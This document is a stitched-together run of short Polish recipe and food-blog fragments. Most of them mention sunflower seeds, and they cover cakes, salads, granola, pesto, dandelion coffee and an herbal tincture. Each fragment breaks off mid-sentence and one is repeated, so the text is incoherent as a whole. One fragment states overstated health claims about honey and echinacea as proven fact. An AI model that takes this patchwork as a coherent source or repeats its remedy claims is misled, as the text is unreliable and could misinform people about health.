mielonego imbiru. Lub ekstrakt waniliowy do smaku Wykonanie Świeży oczyszczony -nie myty wodą -korzeń mniszka lekarskiego pociąć na kawałeczki i zarumienić na suchej patelni na zloty kolor ,tak jak słonecznik. Do rondelka włożyć 1,5 łyżeczki korzenia prażonego ,dodać wodę i dodatki opcjonalnie. Całość doprowadzić do wrzenia,a następnie zmniejszyć płomień i na wolnym ogniu powoli gotować 30-40 minut

który jest często stosowany w leczeniu mniejszych skaleczeń i urazów. O dziwo, badania pokazują, że miód zabija ponad sześćdziesiąt różnych typów bakterii!   Echinacea   Echinacea jest członkiem rodziny słonecznika i znany jako jeden z najlepszych naturalnych antybiotyków na zimno. Udowodniono naukowo, że suplementy Echinacea zmniejszyć nasilenie objawów przeziębienia do 50%. Inne zastosowania antybiotyków należą katar sienny, zapalenie ucha, zakażenia

szkl. cukru 2 szkl. mąki pszennej 4 szt. jajka całe 1 łyżeczka proszku do pieczenia 1 łyżeczka sody oczyszczonej 100 g - drobno pokrojonych orzechów ,lub innych nasion-dynia,słonecznik Wykonanie szybkie ,wilgotne ,smaczne z kawałkami chrupiących orzechów  Jajka utrzeć z cukrem do białości .Zetrzeć 4 marchewki na drobnej tarce. Do masy jajecznej dodać startą marchewkę ,lekko zmiksować całość . Dodać

Zemsta teściowej Cycki murzynki Seromakowiec kakaowy Brazylianka Kilimandżaro Sernik w biszkopcie zpolewą Makowe roladki wserowej masie Sernik gotowany x 2 Torcik z serka owarzanego z galaretką Pokusa Puchatek Wesoły Słonecznik Murzynek ze śliwkami i kremem Aniołek 3 bit Pani Walewska Orzechowiec Smacznego i Wesołych Świąt

Polecam też upieczenie ciasteczek z domowego muesli będą wyjątkowe. Składniki: szklanka płatków owsianych szklanka otrębów owsianych szklanka otrębów pszennych szklanka amarantusa ekspandowanego 75 g pestek dyni 75 g słonecznika 75 g sezamu 2 łyżki miodu 100 g rodzynek 3 łyżki oleju kokosowego/masła 1. Wszystkie składniki oprócz rodzynek i miodu wsypujemy do dużej miski i mieszamy. 2. Na patelni rozgrzewamy

Placuszki owsiane Podłomyki Hummus Scones Domowe muesli Flapjack Jaglanka/Placuszki/Serek czekoladowy Zielony koktajl Masło daktylowe Bułeczki ze słonecznikiem Chlebek bananowy

towarzyskich. A jakie dania najszybciej znikają na imprezach? Oczywiście sałatki. Na blogu jest już kilka dobrych przepisów na popularne sałatki: przepyszna z awokado, ziemniaczana z grzybkami albo bardzo efektowny,, Słonecznik". Jeśli dodatkowo chcecie zaskoczyć gości, proponuję przygotować tort sałatkowy. Tort sałatkowy to trochę inna forma sałatki

startego parmezanu ok. 100-120 ml oliwy i trochę do zalania sól morska i czarny pieprz do smaku kilka kropel soku z cytryny *orzeszki pinii możemy zastąpić np. ziarnami słonecznika, dyni lub nerkowcem. Przepis na pesto z rukoli - przygotowanie krok po kroku: Krok 1. Orzeszki lekko prażymy na suchej patelni, przekładamy na talerz do wystygnięcia. Krok 2. Następnie orzeszki, rukolę

majonez. Wymieszaj. Dopraw do smaku solą i pieprzem. Wyłóż pastę na krakersy i udekoruj.   Do dekoracji możesz użyć… plasterków wędliny, ogórka, rzodkiewki, pomidora, kawałków papryki, szczypiorku, ziaren słonecznika, orzechów, oliwek, listków bazylii itp.         Polecam Wam też inne smakowite przekąski … – Sałatka z szynką i ananasem – Czosnkowe supełki – Serowe kulki – Krakersy

polskie społeczeństwo wg badań jest "niedobiałczone"). KOBIETO! Żono! Partnerko! W Twoich rękach jest apetyt partnera na sex... 😁 Składniki: sałata pomidor ser biały wędzony (dla wegan tofu wędzone) ziarna słonecznika ziarna czarnuszki oliwa lub olej sól pieprz Przygotowanie: Sałatę umyć, osuszyć, porwać na małe kawałki i rozłożyć na talerzu. Pomidora umyć, pokroić i położyć na sałacie. Na wierzchu rozkruszyć ser, posypać

który już w grudniu przygotowaliśmy z dziećmi na naszym balkonie. A my całe niedzielne popołudnie mogliśmy podziwiać ich wesoły, uroczy jazgot oraz to jak pałaszują zaserwowaną słoninkę oraz nasiona słonecznika. Mroźny styczeń to także idealny czas na pyszne, kulinarne przyjemności. Takie jak na przykład pachnąca, cudownie chrupiąca, korzenna granola wprawiająca w magiczny, zimowy nastrój. A przy tym bardzo odżywcza, wartościowa

szkl. cukru 2 szkl. mąki pszennej 4 szt. jajka całe 1 łyżeczka proszku do pieczenia 1 łyżeczka sody oczyszczonej 100 g - drobno pokrojonych orzechów ,lub innych nasion-dynia,słonecznik Wykonanie szybkie ,wilgotne ,smaczne z kawałkami chrupiących orzechów  Jajka utrzeć z cukrem do białości .Zetrzeć 4 marchewki na drobnej tarce. Do masy jajecznej dodać startą marchewkę ,lekko zmiksować całość . Dodać

wersji dla dorosłych z dodatkiem rumu. Składniki duża paczka herbatników kakaowych typu petitki 1/4 kostki masła 2 czekolady gorzkie 1/2 -1 słoik dżemu kieliszek rumu 1 łyżka kakao opcjonalnie słonecznik w karmelu około 1 szklanki cukrowe … Czytaj dalej Słodkie jeżyki

łyżeczki kuminu 1 łyżka oleju 4 szklanki wody 1 łyżka sosu sojowego 1/2 szklanki mleka kokosowego z puszki Do podania: prażona ciecierzyca (przepis tutaj ) albo prażone ziarna dyni lub słonecznika świeże zioła np. pietruszka/kolendra płatki chilli (dla dorosłych ) 1 łyżeczka mleka kokosowego z puszki (opcjonalnie) sok z cytryny (opcjonalnie) Wykonanie: Słodkie ziemniaki i buraki obieramy, myjemy pod bieżącą wodą

płaskiego brzucha. Przy tym koszt... Buraki są takie tanie. A jak przygotować kiszone buraki to link podaję tu:  kiszenie kuraków kiszone buraki 1 dojrzałe awokado po łyżeczce pestek słonecznika i dyni ( świetne będą też nasiona lnu) olej lniany tłoczony na zimno sól i pieprz do smaku natka pietruszki i koperek. Buraki umieścić w misce, dodać pokrojone awokado, pestki, posypać

trudno go określić, wszystko zależy do czego taki mix użyjecie ;) ____________________________________________________ Baton ananas i kokos Skład: wiórki kokosowe, mąka jaglana, rodzynki, ksylitol (substancja słodząca), siemię lniane, olej kokosowy, ananas liofilizowany, słonecznik, acerola, sól himalajska, woda. Batonik od razu pachnie kokosem oraz ananasem i tak też smakuje. Owocowa i kokosowa słodycz bardzo dobrze ze sobą współgrają. Batonik jest słodki ale w granicach

tego zdrowe i pełne błonnika. Długo zachowują świeżość. To idealna przekąska w pracy lub w szkole :) Składniki: Margaryna 25 dag Cukier lub miód prawdziwy ½ szklanki Jajka 3 szt. Słonecznik 20 dag Pestki dyni 20 dag Ziarna sezamu 10 dag Siemię lniane 20 dag Otręby pszenne 10 dag Mąka pełnoziarnista 1 szklanka Proszek do pieczenia 1 łyżka Wykonanie: Margarynę rozpuścić

wanilią, którą użyłam w dzisiejszym przepisie dostępny jest jeszcze smak owocowy i kakaowy ze spiruliną.  Skład białka (młody jęczmień z wanilią)  ⇾  sproszkowane białko konopi, sproszkowane białko słonecznika, sproszkowany sok z młodego jęczmienia (18%), sproszkowane białko dyni, sproszkowana lucuma, sproszkowana maca, sproszkowana wanilia (0,2%). Bez obaw, mimo obecności młodego jęczmienia jest on praktycznie nie wyczuwalny. Jedynie osoby

Składniki/1-2 porcje: 1 burak garść świeżego szpinaku 1 awokado Kilka piórek czerwonej cebuli 100 g białego sera (u mnie bez laktozy) sól i pieprz opcjonalnie pestki dyni lub słonecznika sos 1 łyżka musztardy 1 łyżka miodu lub syropu klonowego 1 łyżka oliwy extra vergine 1 łyżka soku z cytryny 3/4 łyżki octu balsamicznego Przygotowanie: Buraka myjemy i nakłuwamy. Pieczemy

imieniny mojego męża,nie spodziewałam się ,że wszystkim gościom tak bardzo posmakują-pyszne i na ciepło i na zimno,przepis znajdziecie   tutaj Szyneczki zawijane z prażonym słonecznikiem   pyszne ,szybkie do zrobienia szyneczki,sprawdzą się na każdej imprezie-szczerze polecam,u mnie znikły błyskawicznie,przepis znajdziecie  tutaj Omleciki z grillowaną cukinią i serkiem ziołowym pyszne cieniutkie omleciki zawijane

kupowanie gotowego smoothie w sklepach i dosładzanie. W owocach, które dodajemy do koktajlu jest już tyle naturalnego cukru, że nie ma potrzeby dosładzania. Kaloryczne są też pestki np. słonecznika czy siemię lniane, masło orzechowe i odżywki białkowe. Nie każdy detoks kończy się dobrze dla naszego zdrowia i linii. Nie musimy oczywiście rezygnować z koktajli – wystarczy tylko pilnować, żeby

rukola (ok. 50 g), czarne oliwki (ok. 6-8 sztuk), pasta Wawrzyniec z suszonymi pomidorami i żurawiną (2 czubate łyżki), oliwa z oliwek (5 łyżek), pestki słonecznika/dyni (garść). Na przyjęciach często jako pierwsze znikają sałatki. Sałatka imprezowa powinna być sycąca, ale ciężkie, majonezowe powoli odchodzą do lamusa. Smak sałatce dyktuje odpowiedni dressing. Nie jest łatwo wyważyć jego smak. Jeśli

marki Schär , w którym od jakiego czasu jestem toalnie zakochana! Do wyboru jest kilka rodzajów ( pisałam o nich TUTAJ ), ja dziś wybrałam Pan Multigrano – z siemieniem lnianym, nasionami słonecznika i nasionami prosa. Pyszny! Nie jest to chleb „dmuchany” jak chleby tostowe dostępne w marketach, ale zwarty, a zarazem puszysty, bardzo sycący, no i przede wszystkim smaczny chleb

papryką, porem, kurczakiem i serem Sałatka z kaszki kuskus z majonezem Sałatka z pieczarkami, serem, jajkiem, kurczakiem i kukurydzą Sałatka „Pod wódeczkę” Szybka sałatka z zielonego ogórka, słonecznika i fety Sałatka z wędzonym kurczakiem i pieczarkami Sałatka z zupek chińskich Sałatka z wędzonym kurczakiem Sałatka makaronowa Sałatka warstwowa – tuńczykowo-serowa z jajkami Sałatka „Król imprezy

czarnego 5 g kwiatu lipy 5 g korzenia arcydzięgla 5 g korzenia lukrecji 5 g owocu maliny 5 g owocu róży 5 g owocu głogu 5 g kwiatu słonecznika 5 g korzenia lubczyku 5 g pędów sosny 10 g liści szałwii 1 l alkoholu 70 % 3/4 l wytrawnego czerwonego wina gronowego 100 g miodu ( najlepiej lipowego )   Sposób wykonania